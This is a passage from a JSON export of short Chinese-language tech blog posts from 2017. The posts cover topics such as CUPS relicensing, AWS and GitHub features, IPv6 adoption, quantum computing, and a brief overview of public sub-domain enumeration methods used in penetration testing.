    "body": "<a href=\"https://www.cups.org/\">CUPS</a> 是處理印表機的軟體，在 <a href=\"https://www.apple.com/macos/\">macOS</a> 以及其他各種 Unix-like 環境下都會使用。\r\n\r\n在「<a href=\"https://lwn.net/Articles/738531/rss\">CUPS relicensed to Apache v2</a>」這邊看到 relicense 的消息，正式的公告則是在「<a href=\"https://www.cups.org/blog/2017-11-07-cups-license-change.html\">CUPS License Change Coming</a>」這邊可以看到：\r\n\r\n<blockquote>Apple is excited to announce that starting with CUPS 2.3 we will be providing CUPS under the terms of the Apache License, Version 2.0.</blockquote>\r\n\r\n剛好 <a href=\"https://www.gnu.org/licenses/old-licenses/gpl-2.0.html\">GPLv2</a> 與 <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License, Version 2.0</a> 之間不相容，這樣跳過去算是趣味趣味...",
    "title": "CUPS 從 GPLv2 變成 Apache License, Version 2.0 了"
  },
  {
    "id": "7748",
    "body": "在「<a href=\"https://phys.org/news/2017-11-fringe-reddit-4chan-high-alternative.html\">Study finds fringe communities on Reddit and 4chan have high influence on flow of alternative news to Twitter</a>」這邊看到的：\r\n\r\n<img src=\"https://i.gslin.com/imgur/TfR5Fm4.jpg\" alt=\"\" />\r\n\r\n<blockquote>After analyzing millions of posts containing mainstream and alternative news shared on Twitter, Reddit and 4chan, Jeremy Blackburn, Ph.D., and collaborators found that alt-right communities within 4chan, an image-based discussion forum where users are anonymous, and Reddit, a social news aggregator where users vote up or down on posts, have a surprisingly large influence on Twitter.</blockquote>\r\n\r\n依照對 <a href=\"https://www.reddit.com/\">reddit</a> 與 <a href=\"https://www.4chan.org/\">4chan</a> 的描述，這兩個媒體對 <a href=\"https://twitter.com/\">Twitter</a> 的影響，會讓我聯想到在台灣 <a href=\"https://www.ptt.cc/\">Ptt</a> 對各新聞媒體的影響：Ptt 是很多新聞的起點？\r\n\r\n<blockquote>\"Based on our findings, these smaller, fringe communities on Reddit and 4chan serve as an incubation chamber for a lot of information,\" said Blackburn, assistant professor of computer science in the UAB College of Arts and Sciences. \"The content and talking points are refined until they finally break free and make it to larger, more mainstream communities.\"</blockquote>\r\n\r\n真的研究應該可以看出 Ptt 的影響力？",
    "title": "reddit 與 4chan 在新聞網路上的獨特性"
  },
  {
    "id": "7749",
    "body": "<a href=\"https://www.bitmain.com/\">Bitmain</a> 在 <a href=\"https://www.bitcoin.com/\">Bitcoin</a> ASIC 市場上算是很有名的，就利用作 ASIC 的經驗推出自己的 AI chip 了：「<a href=\"https://spectrum.ieee.org/tech-talk/computing/hardware/bitcoins-biggest-tech-player-to-release-ai-chips-and-computers\">Bitcoin’s Biggest Tech Player to Release AI Chips and Computers</a>」。\r\n\r\n這樣除了可以在雲端上租用 <a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 的 <a href=\"https://cloud.google.com/tpu/\">Cloud TPU</a> 以外，也可以自己買硬體來算了 (雖然軟體的支援應該還要再等)：「<a href=\"https://www.sophon.ai/product/sc1.html\">Tensor Computing Processor BM1680</a>」。",
    "title": "Bitmain 推出 AI chip"
  },
  {
    "id": "7750",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出可以把 repository 封印起來變成唯讀的功能：「<a href=\"https://github.com/blog/2460-archiving-repositories\">Archiving repositories</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZEguPFa.webp\" /><img src=\"https://i.gslin.com/imgur/ZEguPFa.jpg\" alt=\"\" /></picture>\r\n\r\n對應的 API 可以參考「<a href=\"https://developer.github.com/changes/2017-11-08-archiving-repositories/\">Archiving repositories</a>」這邊。\r\n\r\n對於有些純粹是記錄用的 repository 還不錯...",
    "title": "GitHub 推出 Archiving Repository 的功能"
  },
  {
    "id": "7751",
    "body": "現在 <a href=\"https://aws.amazon.com/\">AWS</a> 讓你可以設定，是否允許 Reserved Instance (RI) 跨帳號使用：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/customize-your-organizations-aws-credit-and-reserved-instance-ri-discount-sharing-using-new-billing-preferences/\">Customize your organization’s AWS credit and Reserved Instance (RI) discount sharing using new billing preferences</a>」。\r\n\r\n以往是優先用在自己帳號，但如果有剩的話可以挪去其他帳號用。這樣雖然比較省錢，但有時候會造成帳務的「困擾」：\r\n\r\n<blockquote>Historically, AWS has maximized customer savings by applying credits and RI discounts first to the account that owned the credit or RI lease and then distributing the remainder, if any, to qualifying usage incurred by accounts in the same organization. While this approach had the potential of lowering the overall bill, customers were unable to control if, and how, discounts were applied across organizational lines.</blockquote>\r\n\r\n現在則是可以關掉：\r\n\r\n<blockquote>To provide greater flexibility, customers can now disable AWS credit sharing across all accounts in their organization. This ensures that only the account that owns a credit, or has previously redeemed a credit, receives the associated benefit.</blockquote>\r\n\r\n也可以分開設定：\r\n\r\n<blockquote>You can also designate a set of accounts for which RI discount sharing is disabled, while continuing to share RI discounts among the rest of the accounts in your organization.</blockquote>\r\n\r\n這樣雖然會比較貴，但這其實反應到某些組織文化上的問題啦...",
    "title": "AWS 讓你可以禁止 RI 跨帳號計算了..."
  },
  {
    "id": "7752",
    "body": "<a href=\"https://github.com/\">GitHub</a> 寫了一篇「<a href=\"https://github.com/blog/2463-github-welcomes-all-ci-tools\">GitHub welcomes all CI tools</a>」，不過對我來說比較有趣的是各家 CI 在 GitHub 上的市占率：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qOLSY7v.webp\" /><img src=\"https://i.gslin.com/imgur/qOLSY7v.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 <a href=\"https://travis-ci.org/\">Travis CI</a> 還是擁有壓倒性的佔有率 (大約一半)，這跟他提供免費的 public repository 方案有關。但以另外一個角度來看，這也讓使用商用版本 (<a href=\"https://travis-ci.com/\">travis-ci.com</a>) 的人有大量的範例可以參考，而不需要擔心資源太少。",
    "title": "GitHub 上的 Continuous Integration (CI)"
  },
  {
    "id": "7753",
    "body": "<a href=\"http://httparchive.org/\">HTTP Archive</a> 出來研究這個主題感覺就很適合：「<a href=\"https://discuss.httparchive.org/t/the-performance-impact-of-cryptocurrency-mining-on-the-web/1126\">The Performance Impact of Cryptocurrency Mining on the Web</a>」。\r\n\r\n不過作者是用 script name 去分析，應該還是會有一些漏網，不過可以看出一些數據了...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Hyu2Nxr.webp\" /><img src=\"https://i.gslin.com/imgur/Hyu2Nxr.jpg\" alt=\"\" /></picture>",
    "title": "HTTP Archive 研究挖礦網頁的現狀"
  },
  {
    "id": "7754",
    "body": "<a href=\"https://www.dropbox.com/\">Dropbox</a> 描述了他們目前將整個服務轉移到 IPv6 的過程 (看起來是進行式，而不是完成式)：「<a href=\"https://blogs.dropbox.com/tech/2017/11/deploying-ipv6-in-dropbox-edge-network/\">Deploying IPv6 in Dropbox Edge Network</a>」。\r\n\r\n看到比較有趣的是這幾幾張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VSXFCFV.webp\" /><img src=\"https://i.gslin.com/imgur/VSXFCFV.jpg\" alt=\"\" /></picture>\r\n<small>IPv6 request percentage across all Dropbox services</small>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Ar6vfWP.webp\" /><img src=\"https://i.gslin.com/imgur/Ar6vfWP.jpg\" alt=\"\" /></picture>\r\n<small>IPv6 request percentage increased as we enabled IPv6 for more services</small>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XM2iWIb.webp\" /><img src=\"https://i.gslin.com/imgur/XM2iWIb.jpg\" alt=\"\" /></picture>\r\n<small>Countries ranked by IPv6 Request Percentage</small>\r\n\r\n差不多有 1/6 的量了，這樣其實不算少，是個開始...",
    "title": "Dropbox 的 IPv6 轉移過程"
  },
  {
    "id": "7756",
    "body": "前幾天提到的「<a href=\"https://blog.gslin.org/archives/2017/11/07/7735/amazon-ec2-%E7%9A%84-c5-%E5%AE%B6%E6%97%8F/\">Amazon EC2 的 C5 家族...</a>」講到 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出 C5 系列帶來的效能與價錢的提昇，後來在 <a href=\"https://www.theregister.co.uk/\">The Register</a> 上看到「<a href=\"https://www.theregister.co.uk/2017/11/07/aws_writes_new_kvm_based_hypervisor_to_make_its_cloud_go_faster/\">AWS adopts home-brewed KVM as new hypervisor</a>」這邊提到更多東西，而且有些還頗有趣的...\r\n\r\n首先是 <a href=\"https://aws.amazon.com/ec2/faqs/\">Amazon EC2 FAQs</a> 裡面就有提到的，C5 跑的是 <a href=\"https://www.linux-kvm.org/\">KVM</a>，而不像以前是以 <a href=\"https://www.xenproject.org/\">Xen</a> 為底：\r\n\r\n<blockquote>Q. What is the underlying hypervisor on C5 instances?\r\nC5 instances use a new EC2 hypervisor that is based on core KVM technology.</blockquote>\r\n\r\n另外一點比較有疑慮，是 The Register 提到 <a href=\"https://www.intel.com/\">Intel</a> 與 <a href=\"https://www.amazon.com/\">Amazon</a> 都發出新聞稿，說明 C5 是使用客製化版本的 Intel 處理器，不過看完後讀不出這個感覺...：「<a href=\"https://newsroom.intel.com/news/intel-xeon-scalable-processors-supercharge-amazon-web-services/\">Intel Xeon Scalable Processors Supercharge Amazon Web Services’ Most Powerful Compute-Optimized Instances</a>」、「<a href=\"http://phx.corporate-ir.net/phoenix.zhtml?c=176060&amp;p=irol-newsArticle&amp;ID=2314776\">AWS Announces Availability of C5 Instances for Amazon EC2</a>」。\r\n\r\n不過先不管這個... 本來 <a href=\"https://aws.amazon.com/\">AWS</a> 都一直圍繞在 Xen 上，這次切去 KVM 是個很值得關注的決策，可以找機會問問看為什麼要這樣換。",
    "title": "Amazon EC2 的 C5 改跑 KVM"
  },
  {
    "id": "7759",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 這陣子最有明得應該是 140 chars -&gt; 280 chars，不過有媒體發現名字描述的長度也提昇了：「<a href=\"https://thenextweb.com/twitter/2017/11/10/twitter-now-lets-display-name-longer-50-characters/\">Twitter now lets your display name be longer too – up to 50 characters</a>」。\r\n\r\n<blockquote>You were previously limited to 20 characters, but now you have 50 to work with.</blockquote>\r\n\r\n之後可以有更多奇怪的花樣了 XD",
    "title": "Twitter 連名字描述的部份也加長了..."
  },
  {
    "id": "7760",
    "body": "<a href=\"https://www.ibm.com/\">IBM</a> 在展示他們做到了什麼：「<a href=\"https://techcrunch.com/2017/11/10/ibm-passes-major-milestone-with-20-and-50-qubit-quantum-computers-as-a-service/\">IBM makes 20 qubit quantum computing machine available as a cloud service</a>」。\r\n\r\n不過重點應該在目前已經拉出 50 qubit prototype 了：\r\n\r\n<blockquote>The company also announced that IBM researchers had successfully built a 50 qubit prototype, which is the next milestone for quantum computing, but it’s unclear when we will see this commercially available.</blockquote>\r\n\r\n18 個月從 5 qubit 到 20 qubit：\r\n\r\n<blockquote>IBM has been offering quantum computing as a cloud service since last year when it came out with a 5 qubit version of the advanced computers. Today, the company announced that it’s releasing 20-qubit quantum computers, quite a leap in just 18 months. A qubit is a single unit of quantum information.</blockquote>\r\n\r\n如果是以這樣的速度成長 (每 18 個月變成原來四倍)，五年後就有機會殺 RSA 2048 bits 了？(大約需要 4000 個 qubit)\r\n\r\n這比想像中快好多，難怪現在密碼學都在討論抵抗 quantum computer 的演算法...",
    "title": "IBM 的 50 qubit quantum computer"
  },
  {
    "id": "7761",
    "body": "忘記在哪邊翻到的：「<a href=\"https://lornajane.net/posts/2017/http-tools-roundup\">HTTP Tools Roundup</a>」，裡面有提到一些 Command Line 下操作 HTTP 內容的工具。\r\n\r\n其中一個是 <a href=\"https://httpie.org/\">HTTPie</a>，這個有時後會拿來用，不過大多數的時候還是習慣用 <a href=\"https://curl.haxx.se/\">curl</a> 了 (因為 curl 幾乎都會裝，HTTPie 要另外裝)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/z2ostWA.webp\" /><img src=\"https://i.gslin.com/imgur/z2ostWA.jpg\" alt=\"\" /></picture>\r\n\r\n另外一個是 <a href=\"https://github.com/cloudhead/http-console\">http-console</a>，這是第一次看到... 用過後覺得還不錯，應該會記起來用一陣子看看 XD\r\n\r\n<pre>gslin@home [~] [17:24/W5] <strong>http-console --ssl https://emma.pixnet.cc:443/</strong>\r\n&gt; http-console 0.6.4\r\n&gt; Welcome, enter .help if you're lost.\r\n&gt; Connecting to emma.pixnet.cc on port 443.\r\n\r\nhttps://emma.pixnet.cc:443/&gt; <strong>GET /robots.txt</strong>\r\nHTTP/1.1 200 OK\r\nDate: Sat, 11 Nov 2017 09:24:11 GMT\r\nLast-Modified: Tue, 16 Sep 2014 06:45:02 GMT\r\nEtag: \"2b-50329173d7780\"\r\nAccept-Ranges: bytes\r\nContent-Length: 43\r\nVary: Accept-Encoding,User-Agent\r\nP3p: CP=\"CURa ADMa DEVa PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR\"\r\nX-Farmid: ba2629de4a01c1a81a0ad72ff1f11c5d2ae5ed0782561f591105c5a669e4ea49\r\nAccess-Control-Allow-Origin: *\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n# emma.pixnet.cc\r\nUser-agent: *\r\nDisallow: /\r\nhttps://emma.pixnet.cc:443/&gt;</pre>\r\n\r\n然後再下 <code>GET /glossary/twzipcode</code> 又可以拉出其他東西。",
    "title": "Command Line 的 HTTP 操作工具"
  },
  {
    "id": "7762",
    "body": "算是前陣子的新聞，在北美地區的盜版 IPTV 流量比 <a href=\"https://en.wikipedia.org/wiki/BitTorrent\">BitTorrent</a> 的流量還多：「<a href=\"https://torrentfreak.com/iptv-piracy-generates-more-internet-traffic-than-torrents-171101/\">IPTV Piracy Generates More Internet Traffic Than Torrents</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/F9RS3PN.webp\" /><img src=\"https://i.gslin.com/imgur/F9RS3PN.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>During peak hours, 6.5% of all downstream traffic on fixed networks is generated by TV piracy services.\r\n\r\nTo put this into perspective; this is more than all BitTorrent traffic during the peak hours, which was “only” 1.73% last year, and dropping.</blockquote>\r\n\r\n如果把影音網站都考慮進去，最大的還是 <a href=\"https://www.youtube.com/\">YouTube</a> 與 <a href=\"https://www.netflix.com/\">Netflix</a> 這兩個啦，不過盜版的量也不小...\r\n\r\n然後也有把最大的量分析出來，這裡面最大的量是 Indian Star Plus HD，應該是印度裔或是印度籍的人看家鄉的東西？\r\n\r\n<blockquote>The most viewed of all in North America, with 4.6% of all pirated TV traffic, is the Indian Star Plus HD.</blockquote>\r\n\r\n不過 <a href=\"https://www.sandvine.com/\">Sandvine</a> 一直都有方法分析整個北美流量，讓人感覺不太舒服...",
    "title": "在北美盜版 IPTV 產生的流量比 BitTorrent 還多"
  },
  {
    "id": "7763",
    "body": "<a href=\"https://aws.amazon.com/elasticache/\">Amazon ElastiCache</a> 的 <a href=\"https://redis.io/\">Redis</a> 可以動態改大小了 (Online Resizing)：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-elasticache-update-online-resizing-for-redis-clusters/\">Amazon ElastiCache Update – Online Resizing for Redis Clusters</a>」。\r\n\r\n不過目前看起來只有 Cluster Mode 的才支援：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LhMTlG9.webp\" /><img src=\"https://i.gslin.com/imgur/LhMTlG9.jpg\" alt=\"\" /></picture>\r\n\r\n設定要加 sharding：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p23O9Dh.webp\" /><img src=\"https://i.gslin.com/imgur/p23O9Dh.jpg\" alt=\"\" /></picture>\r\n\r\n然後就開始跑：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bjn72Bc.webp\" /><img src=\"https://i.gslin.com/imgur/bjn72Bc.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FPTdYqH.webp\" /><img src=\"https://i.gslin.com/imgur/FPTdYqH.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cHqTt3p.webp\" /><img src=\"https://i.gslin.com/imgur/cHqTt3p.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jjy5CEy.webp\" /><img src=\"https://i.gslin.com/imgur/jjy5CEy.jpg\" alt=\"\" /></picture>\r\n\r\n另外也可以 rebalance：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lgiDDWZ.webp\" /><img src=\"https://i.gslin.com/imgur/lgiDDWZ.jpg\" alt=\"\" /></picture>\r\n\r\n這樣就省了一些功夫...",
    "title": "Amazon ElastiCache 可以讓你動態改 Redis 大小"
  },
  {
    "id": "7765",
    "body": "<a href=\"https://getstream.io/\">Stream</a> 的人寫了一篇「<a href=\"https://getstream.io/blog/stop-using-io-domain-names-for-production-traffic/\">Why Stream Stopped Using .IO Domain Names for Production Traffic</a>」表達他們對 <code>.io</code> 的感冒...\r\n\r\n主要是因為 9/20 爛掉的情況不太妙。第一個是 <code>.io</code> 爛掉了兩個小時 (以月來算 SLA 就等於直接掉了 0.2% uptime，變成不到 99.8%)，第二個是爛掉時 server 傳回的不是 <code>SERVFAIL</code>，而是 <code>NXDOMAIN</code>：\r\n\r\n<blockquote>The outage lasted for almost 2 hours, during which 1/5th of DNS queries for any .getstream.io record would fail.</blockquote>\r\n\r\n他們的解法是改到 <code>.com</code> 上，畢竟影響的時候應該會修得比較快。另外文章裡也有延伸提到 <a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a> 爛掉時要怎麼辦，如果他們真的決定要解決的話，應該是會拿出像「<a href=\"https://blog.gslin.org/archives/2017/04/27/7269/stackoverflow-%E5%B0%8D%E6%96%BC%E5%A4%9A-dns-%E5%95%86%E7%9A%84%E5%90%8C%E6%AD%A5%E6%96%B9%E5%BC%8F/\">StackOverflow 對於多 DNS 商的同步方式...</a>」或是「<a href=\"https://blog.gslin.org/archives/2017/04/30/7282/github-%E4%B9%9F%E8%87%AA%E5%B7%B1%E6%90%9E%E4%BA%86%E4%B8%80%E5%A5%97%E7%AE%A1%E7%90%86%E5%A4%9A%E5%AE%B6-dns-%E7%9A%84%E7%A8%8B%E5%BC%8F/\">GitHub 也自己搞了一套管理多家 DNS 的程式...</a>」的搞法吧。\r\n\r\n不過這的確是當初選 <code>.io</code> 沒預料到的...",
    "title": "Stream 對 .io 的感冒"
  },
  {
    "id": "7766",
    "body": "原文是講滲透測試的前置作業，需要將某個特定 domain 下的主機名稱掃出來：「<a href=\"https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6\">A penetration tester’s guide to sub-domain enumeration</a>」。\r\n\r\n最直接的還是 <a href=\"https://en.wikipedia.org/wiki/DNS_zone_transfer\">DNS zone transfer</a> (AXFR)，如果管理者沒設好 DNS server 的話，這會是最快的方式。當沒有這個方法時就要用各種其他方式來掃了。\r\n\r\n看了一下有幾種方式：\r\n\r\n<ul>\r\n\t<li>透過各種第三方記錄撈：用 <a href=\"https://www.google.com/\">Google</a> 以及 <a href=\"https://www.bing.com/\">Bing</a> 的 <code>site:</code> 指令過濾；用 <a href=\"https://www.virustotal.com/\">VirusTotal</a> 列；翻 <a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a> 記錄；透過 ASN 資訊；透過 <a href=\"https://scans.io/study/sonar.fdns_v2\">Forward DNS</a>。</li>\r\n\t<li>程式類的 DNS query：用 <a href=\"https://github.com/darkoperator/dnsrecon\">DNSRecon</a>；<a href=\"https://github.com/infosec-au/altdns\">Altdns</a></li>\r\n\t<li>其他：透過 NSEC 的 <a href=\"https://git.nlnetlabs.nl/ldns/tree/examples/ldns-walk.c\">ldns-walk</a>；甚至是 NSEC3 的 <a href=\"https://dnscurve.org/nsec3walker.html\">nsec3walker</a>。</li>\r\n</ul>\r\n\r\n應該有人可以提到所有的東西再寫成程式 XD",
    "title": "掃網域下主機名稱的方式..."
  },
  {
    "id": "7767",
    "body": "<a href=\"https://secure.php.net/\">PHP</a> {7.1,7.0,5.6} (至少有安全性支援的版本) 佔了 90% 以上的量... 至少是有用 <a href=\"https://getcomposer.org/\">Composer</a> 族群的主流了：「<a href=\"https://seld.be/notes/php-versions-stats-2017-2-edition\">PHP Versions Stats - 2017.2 Edition</a>」。\r\n\r\n<pre>All versions                    Grouped\r\nPHP 7.1.10      11.63%          PHP 7.1\t36.63% (+18.99)\r\nPHP 7.0.22      7.95%           PHP 7.0\t30.76% (-5.36)\r\nPHP 5.6.31      7.38%           PHP 5.6\t23.28% (-8.16)\r\nPHP 5.6.30      7.23%           PHP 5.5\t6.11% (-4.5)\r\nPHP 7.0.24      5.45%           PHP 5.4\t1.51% (-1.6)\r\nPHP 7.1.11      4.55%           PHP 5.3\t0.76% (-0.22)</pre>\r\n\r\n可以看出大家都在往 PHP 7.1 推了...",
    "title": "PHP {7.1,7.0,5.6} 總算成為主流了..."
  },
  {
    "id": "7768",
    "body": "剛剛看已經 4298389880 次了，成為 <a href=\"https://www.youtube.com/\">YouTube</a> 史上第一個突破 <code>UINT_MAX</code> (4294967295) 的影片：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/kJQP7kiw5Fk\" frameborder=\"0\" allowfullscreen></iframe>",
    "title": "Despacito 突破 UINT_MAX (4294967295) 次播放了"
  },
  {
    "id": "7769",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 的「<a href=\"https://blog.mozilla.org/blog/2017/11/13/webassembly-in-browsers/\">WebAssembly support now shipping in all major browsers</a>」提到了最近幾個禮拜，新版的 <a href=\"https://www.apple.com/safari/\">Safari</a> 與 <a href=\"https://www.microsoft.com/en-us/windows/microsoft-edge\">Edge</a> 都相繼支援 <a href=\"https://en.wikipedia.org/wiki/WebAssembly\">WebAssembly</a> 了：\r\n\r\n<blockquote>In the past weeks, both Apple and Microsoft have shipped new versions of Safari and Edge, respectively, that include support for WebAssembly.</blockquote>\r\n\r\n由於 <a href=\"https://www.google.com/chrome/\">Chrome</a> 與 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 都已經支援了，這宣告 WebAssembly 的障礙都已經排除了，接下來只是時間的問題... 對於需要效能的應用程式來說多了一個方式加速。",
    "title": "所有主流瀏覽器的最新版都支援 WebAssembly 了"
  },
  {
    "id": "7770",
    "body": "在「<a href=\"http://www.scylladb.com/2017/11/13/new-docs-4-phases-2-migrate-apache-cassandra-scylla/\">New Docs: Four Phases to Migrate from Apache Cassandra to Scylla</a>」這邊看到 <a href=\"http://www.scylladb.com/\">ScyllaDB</a> 官方提供 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 轉移到 ScyllaDB 的說明，跟以前好像差蠻多的...\r\n\r\n以前 ScyllaDB 可以直接加入到 Cassandra 的 cluster (一時間沒找到資料，但在「<a href=\"https://github.com/scylladb/scylla-cluster-tests/issues/107\">can not add node with cassandra ami · Issue #107 · scylladb/scylla-cluster-tests</a>」可以看到當時的痕跡)，現在給的方法是在資料庫不相容時的轉移方式 (像是從 <a href=\"https://dev.mysql.com/\">MySQL</a> 轉換到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 這種)，是暗示已經沒辦法這樣做了嗎？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/N9OgTgI.webp\" /><img src=\"https://i.gslin.com/imgur/N9OgTgI.jpg\" alt=\"\" /></picture>\r\n\r\n不過從 <a href=\"https://github.com/\">GitHub</a> 上的 wiki page 看起來，底層資料與 protocol 應該還是相容的，才能做直接複製資料的 offline migration：「<a href=\"https://github.com/scylladb/scylla/wiki/Migrating-Cassandra-data-to-Scylla\">Migrating Cassandra data to Scylla</a>」。\r\n\r\n也有可能這篇只是寫手隨意寫的文章，沒有把 ScyllaDB 的優勢展現出來...\r\n\r\n<blockquote>About John Hammink\r\nJohn Hammink is a writer and content creator at ScyllaDB. With more than 20 years in technology, he's also a touring/studio musician, digital artist and speaker.</blockquote>",
    "title": "從 Cassandra 到 ScyllaDB 的轉移方式好像跟以前不太一樣了..."
  },
  {
    "id": "7771",
    "body": "<a href=\"https://aws.amazon.com/athena/\">Amazon Athena</a> 支援 <a href=\"https://en.wikipedia.org/wiki/Open_Database_Connectivity\">ODBC</a> 了 (先前直接連結只支援 <a href=\"https://en.wikipedia.org/wiki/Java_Database_Connectivity\">JDBC</a>)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-athena-adds-support-for-querying-data-using-an-odbc-driver/\">Amazon Athena adds support for querying data using an ODBC driver</a>」。\r\n\r\n<blockquote>With the availability of a new ODBC driver, you can now connect popular business intelligence tools to Athena. This allows you to report and visualize all of your data in S3 with the tools of your choice. In addition to the ODBC driver, Customers can now connect to Amazon Athena using a JDBC driver, an API and via the AWS Console.</blockquote>\r\n\r\n這讓非 <a href=\"https://www.java.com/\">Java</a> 的程式語言可以更方便的接上去了，像是 <a href=\"https://secure.php.net/\">PHP</a> 的 <a href=\"https://secure.php.net/manual/en/book.pdo.php\">PDO</a> 支援 ODBC 但不支援 JDBC，要用就得想其他辦法：「<a href=\"https://secure.php.net/manual/en/pdo.drivers.php\">PHP: PDO Drivers - Manual</a>」。",
    "title": "Amazon Athena 可以透過 ODBC 連接了"
  },
  {
    "id": "7772",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 在 Stanard API (Free &amp; Public) 與 Enterprise API 中間要推出 Premium API：「<a href=\"https://blog.twitter.com/developer/en_us/topics/tools/2017/introducing-twitter-premium-apis.html\">Introducing Twitter premium APIs</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/qAEHeMj.gif\" alt=\"\" />\r\n\r\n不過在 <a href=\"https://developer.twitter.com/en/pricing\">Pricing</a> 頁面上還點不出價格... (給了一個 404 page XD)",
    "title": "Twitter 要推出 Premium API"
  },
  {
    "id": "7773",
    "body": "在 <a href=\"https://www.top500.org/\">Top 500</a> 公佈新的資料後，就有人發現 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 第一次完全佔領了超級電腦 Top 500 列表裡的作業系統：「<a href=\"http://www.omgubuntu.co.uk/2017/11/linux-now-powers-100-worlds-top-500-supercomputers\">Linux Now Powers 100% of the World’s Top 500 Supercomputers</a>」。\r\n\r\n另外在「<a href=\"https://www.top500.org/news/china-pulls-ahead-of-us-in-latest-top500-list/\">China Pulls Ahead of U.S. in Latest TOP500 List</a>」也列出了這次的前五名，可以看出來中國在這塊砸了不少錢：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/weIuF81.webp\" /><img src=\"https://i.gslin.com/imgur/weIuF81.jpg\" alt=\"\" /></picture>",
    "title": "Linux 第一次完全佔領超級電腦 Top 500 列表"
  },
  {
    "id": "7774",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 應該是希望大家趕快把能換的 ELB 都換成新的 ALB 與 NLB，所以推出這個功能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/new-one-step-migration-wizard-to-migrate-a-classic-load-balancer/\">New One-step Migration Wizard to Migrate a Classic Load Balancer</a>」。\r\n\r\n<blockquote>Today, AWS announced the ability to migrate from a Classic Load Balancer to an Application Load Balancer or a Network Load Balancer in one step using a console-based migration wizard.</blockquote>\r\n\r\n不過 ELB 有一些功能是目前 ALB 與 NLB 沒有的，像是一般性的 SSL offload (而非 HTTPS offload)，以及舊客戶會有的 EC2-Classic：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/D8qqefd.webp\" /><img src=\"https://i.gslin.com/imgur/D8qqefd.jpg\" alt=\"\" /></picture>\r\n\r\n不知道這兩個問題之後會推出什麼樣的方案解決...",
    "title": "AWS 推出將 Classic Load Balancer 轉換成 Application Load Balancer 或 Network Load Balancer 的功能"
  },
  {
    "id": "7776",
    "body": "最近在一些地方冒出兩篇文章 (應該是 <a href=\"http://nuzzel.com/\">Nuzzel</a> 與 <a href=\"https://news.ycombinator.com/\">Hacker News</a>，放在 tab 上好幾天，不是那麼確定來源...)，一篇是最近發的「<a href=\"https://www.macsparky.com/blog/2017/11/the-case-for-rss\">The Case for RSS</a>」，另外一篇是五月的文章「<a href=\"https://davidyat.es/2017/05/18/rss-nothing-better/\">RSS: there's nothing better</a>」。這邊講的 <a href=\"https://en.wikipedia.org/wiki/RSS\">RSS</a> 比較廣義，不侷限於 RSS {0.91,1.0,2.0}，而是包括了各式的 feed，像是後來標準化的 <a href=\"https://en.wikipedia.org/wiki/Atom_(standard)\">Atom</a>。\r\n\r\n消息的來源大致分成兩種：\r\n\r\n<ul>\r\n\t<li>已知的來源：這些人只要有新的文章你就會想看。</li>\r\n\t<li>未知的來源：你可能也會有興趣的文章。</li>\r\n</ul>\r\n\r\n前者你不會想要漏掉 (你就是想看才會訂啊)。而後者在早期有 <a href=\"https://en.wikipedia.org/wiki/Zite\">Zite</a> 這類用演算法推薦的產品，後來在 Zite 併入 <a href=\"https://flipboard.com/\">Flipboard</a> 整個爛掉後我就跳去用 Nuzzel (透過好友機制推薦，演算法相對單純)。\r\n\r\n而 <a href=\"https://www.facebook.com/\">Facebook</a> 將這兩者混在一起，讓「已知的來源」未必會出現，而是用演算法包起來並且用 PR 手段混淆：美其名稱為「個人化推薦」，實際上是想辦法讓內容提供者掏錢出來。這點在 <a href=\"https://www.instagram.com/\">Instagram</a> 上也可以看到一樣的作法：把 timeline 